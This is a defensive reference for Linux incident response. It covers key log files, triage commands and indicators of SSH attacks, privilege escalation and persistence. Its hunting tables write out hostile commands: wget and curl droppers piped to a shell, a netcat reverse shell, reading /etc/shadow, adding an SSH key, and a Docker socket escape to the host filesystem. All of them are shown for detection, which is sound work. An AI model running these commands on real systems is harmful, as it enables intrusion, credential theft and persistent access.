// Key Log Files
Linux logs are stored as plaintext files under /var/log/ and managed by either syslog/rsyslog (traditional) or systemd-journald (modern). In most investigations you'll query both.
| File / Path | Distro | Contents |
|---|---|---|
/var/log/auth.log | Debian / Ubuntu | All authentication events � SSH logins, sudo usage, PAM, su |
/var/log/secure | RHEL / CentOS / Fedora | Equivalent to auth.log on Debian systems |
/var/log/syslog | Debian / Ubuntu | General system messages � services, kernel, cron, daemons |
/var/log/messages | RHEL / CentOS | Equivalent to syslog on Debian systems |
/var/log/kern.log | Debian / Ubuntu | Kernel messages � driver errors, hardware events, module loading |
/var/log/cron / syslog | Both | Cron job execution � attacker-added cron jobs for persistence |
/var/log/wtmp | Both | Binary � all login/logout sessions. Read with last |
/var/log/btmp | Both | Binary � failed login attempts. Read with lastb |
/var/log/lastlog | Both | Binary � last login time per user. Read with lastlog |
/var/log/apache2/ or /var/log/httpd/ | Both | Web server access and error logs |
/var/log/audit/audit.log | Both (auditd) | Kernel-level audit events � syscalls, file access, process execution |
~/.bash_history | Both | Per-user command history � first place to check on compromise |
Logs can be tampered with. Attackers often run history -c to clear bash history, shred log files, or disable logging with service rsyslog stop. Missing or truncated logs are themselves an indicator of compromise.
// auth.log / secure
The authentication log is the most important file in most Linux investigations. It records every login attempt (successful or failed), sudo commands, SSH sessions, and PAM authentication events.
Key patterns to look for
| Log entry pattern | What it means |
|---|---|
Failed password for root from 1.2.3.4 | SSH brute force against root � check volume and source IP |
Failed password for invalid user admin from 1.2.3.4 | Username enumeration or credential stuffing |
Accepted password for ubuntu from 1.2.3.4 | Successful password login � note source IP and time |
Accepted publickey for ubuntu from 1.2.3.4 | SSH key login � check if this key was authorised |
sudo: ben : TTY=pts/0 ; USER=root ; COMMAND=/bin/bash | User escalated to root � note command and user |
sudo: pam_unix(sudo:auth): authentication failure | Failed sudo attempt � could be credential testing |
session opened for user root by (uid=0) | Root session started � correlate with prior events |
useradd: new user: name=backdoor | New account created � common attacker persistence |
Useful grep commands
# Count failed SSH attempts by source IP
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -20
# Show all successful logins
grep "Accepted" /var/log/auth.log
# Show all sudo commands executed
grep "sudo:" /var/log/auth.log | grep "COMMAND"
# Show new user accounts created
grep "useradd\|new user" /var/log/auth.log
// syslog / messages
The general system log captures daemon events, kernel messages, and service activity. Less targeted by attackers than auth.log, but useful for understanding what was running on the system and spotting unusual services.
What to look for
Cron Jobs
Cron entries appear in syslog with CRON[PID]. Unusual job names, odd execution times, or jobs running as root warrant investigation.
Service Start/Stop
Attacker-installed services or unexpected service restarts. Look for unfamiliar service names or services starting at odd times.
Kernel Errors
Kernel module loading (insmod, modprobe) is logged here. Rootkits load as kernel modules � unexpected module loads are a red flag.
Network Changes
Interface changes, new network connections via NetworkManager, or firewall rule changes may appear in syslog.
// journald & journalctl
On systemd-based systems (most modern Linux), journald collects logs from all sources � kernel, services, auth � into a centralised binary journal. Access it with journalctl.
# View all logs, newest first
journalctl -r
# View logs for a specific service
journalctl -u sshd
journalctl -u cron
# View logs since a specific time
journalctl --since "2024-01-15 08:00:00" --until "2024-01-15 12:00:00"
# View kernel messages only
journalctl -k
# Follow live (like tail -f)
journalctl -f
# Show logs for a specific user (by UID)
journalctl _UID=1001
# View boot-specific logs
journalctl -b -1 # previous boot
journalctl -b 0 # current boot
# Export to JSON for SIEM ingestion
journalctl -o json-pretty --since "1 hour ago"
// User Activity Logs
Beyond auth.log, several binary log files track user sessions and logins.
| Command | Source file | Shows |
|---|---|---|
last | /var/log/wtmp | All successful logins � user, terminal, source IP, login/logout time |
lastb | /var/log/btmp | Failed login attempts � requires root to read |
lastlog | /var/log/lastlog | Most recent login per user � useful for spotting dormant accounts suddenly active |
w | Kernel / /proc | Currently logged-in users and what they're running |
who | /var/run/utmp | Current sessions � user, terminal, login time, source IP |
id <user> | N/A | Groups and UID/GID for a user � check for unexpected group membership |
# Show all logins in the last 7 days with source IPs
last -w -F | head -50
# Show failed logins
sudo lastb | head -30
# Show dormant accounts that recently became active
lastlog | grep -v "Never logged in" | sort -k4
// Bash History
The ~/.bash_history file records commands run by each user. It's often the first place to look after confirming a host is compromised � even partial history reveals what an attacker ran.
History is written to disk when the shell session exits. If an attacker opens a shell, runs commands, then closes it � the commands are logged. However, attackers can prevent this by setting HISTFILE=/dev/null, HISTSIZE=0, running history -c, or starting the session with unset HISTFILE. A user with no history is itself suspicious.
Suspicious commands to hunt for
| Command / pattern | Why suspicious |
|---|---|
wget http://x.x.x.x/shell.sh | bash | Download and execute � one-line dropper |
curl -s http://... | sh | Same as above via curl |
chmod +x / chmod 777 | Making files executable � typically follows a download |
python3 -c 'import pty...' | PTY shell stabilisation � common after initial shell |
nc -e /bin/bash | Netcat reverse shell |
cat /etc/shadow | Reading the password hash file |
crontab -e | Editing crontab � persistence |
useradd / adduser | Creating new user accounts for persistence |
ssh-keygen && cat >> ~/.ssh/authorized_keys | Adding SSH key for persistent access |
find / -perm -4000 | Searching for SUID binaries � local privilege escalation |
sudo -l | Listing allowed sudo commands � attacker profiling permissions |
// SSH Attack Patterns
SSH is the most commonly attacked remote access service on Linux. Knowing what a brute force vs. a successful compromise looks like in logs is essential.
Brute force pattern
Hundreds to thousands of Failed password entries from the same source IP, often targeting common usernames (root, admin, ubuntu, pi). Followed by silence or � if successful � an Accepted password entry.
Credential stuffing pattern
Attempts across many different usernames from the same source, or attempts from many different IPs to the same account. Distributed brute force avoids per-IP rate limiting.
Successful compromise indicators
| Indicator | What to look for |
|---|---|
| Source IP | Login from a country or IP range that has never accessed the system |
| Timing | Login at unusual hours for the user's normal pattern |
| Key login after password failures | Attacker switched to key-based auth after acquiring credentials � may indicate key was also stolen |
| Multiple sessions | Same user opens multiple simultaneous sessions � unusual for legitimate users |
| Immediate privilege escalation | sudo or su commands within seconds of login |
# Top attacking IPs by failed attempts
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -10
# All unique usernames targeted in brute force
# Note: "for invalid user" entries shift the field position � use a pattern match instead
grep "Failed password" /var/log/auth.log | awk '{for(i=1;i<=NF;i++) if($i=="for"){print $(i+1); break}}' | sort | uniq -c | sort -rn
# Find where a successful login came from
grep "Accepted" /var/log/auth.log | grep "username"
// Privilege Escalation Indicators
After gaining initial access, attackers attempt to escalate to root. Common Linux privilege escalation methods leave traces in logs and on the filesystem.
| Method | Log indicator | Filesystem indicator |
|---|---|---|
| Sudo misconfiguration | sudo command executed in auth.log | Check /etc/sudoers and /etc/sudoers.d/ for risky entries like NOPASSWD: /bin/bash |
| SUID binary abuse | Execution in bash_history / auditd | find / -perm -4000 2>/dev/null � compare against known-good baseline |
| Writable /etc/passwd | File modification via auditd | ls -la /etc/passwd � should be 644 root:root |
| Cron as root | Cron execution in syslog | Check /etc/cron*, /var/spool/cron for unexpected entries |
| Kernel exploit | Kernel panic / oops in kern.log | Suspicious binaries or compiled code in /tmp |
| Docker socket abuse | Docker daemon logs | docker run -v /:/mnt --rm -it alpine chroot /mnt sh � mounts host filesystem |
// Persistence Indicators
Attackers establish persistence so they survive reboots and account password changes. These are the most common methods on Linux systems.
| Mechanism | Location to check | What to look for |
|---|---|---|
| SSH authorized_keys | ~/.ssh/authorized_keys | Unknown public keys � check all user home directories including root |
| Cron jobs | /etc/cron*, /var/spool/cron/crontabs/ | Unfamiliar entries, especially wget/curl commands, reverse shells |
| Systemd services | /etc/systemd/system/, /lib/systemd/system/ | New or modified service files � check ExecStart for malicious commands |
| Startup scripts | /etc/rc.local, /etc/init.d/, ~/.bashrc, ~/.profile | Appended commands that execute on login or boot |
| Backdoor user | /etc/passwd, /etc/shadow | Accounts with UID 0 (root-level), accounts created at unusual times |
| SUID backdoor | Filesystem | find / -perm -4000 -newer /etc/passwd � SUID files created after a known date |
| LD_PRELOAD hijacking | /etc/ld.so.preload, ~/.bashrc | Malicious shared library preloaded before all processes � rootkit technique |
// Useful Commands
A quick-reference collection of commands for Linux forensic triage.
# Who is logged in right now
w && who
# Recent logins
last -20
# Currently running processes (with full command lines)
ps auxf
# Network connections
ss -tulnp
netstat -tulnp
# Listening ports
ss -lntp
# Established outbound connections (possible C2)
ss -tnp state established
# Files modified in the last 24 hours (exclude /proc /sys /dev)
find / -mtime -1 -type f 2>/dev/null | grep -v "^/proc\|^/sys\|^/dev"
# Recently created files (possible dropped malware)
find /tmp /var/tmp /dev/shm -type f -ls 2>/dev/null
# Check for unusual SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Check crontabs for all users
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null | grep -v "^#"; done
# Check authorized_keys for all users
find /home /root -name "authorized_keys" -exec cat {} + 2>/dev/null
# Check for new systemd services
systemctl list-units --type=service --state=running
# Hash all running executables (for threat intel lookups)
ls -la /proc/*/exe 2>/dev/null | awk '{print $NF}' | sort -u | xargs -I{} sha256sum {} 2>/dev/null
Check /tmp, /var/tmp, and /dev/shm first. These are world-writable directories that attackers commonly use for staging payloads, compiling exploits, and running tooling. Files in these locations are deleted on reboot � check them before any planned restart.
auditd provides kernel-level syscall logging far more detailed than syslog. If installed, /var/log/audit/audit.log captures every file open, process exec, and network connect. Query with ausearch -i -m execve for process execution history.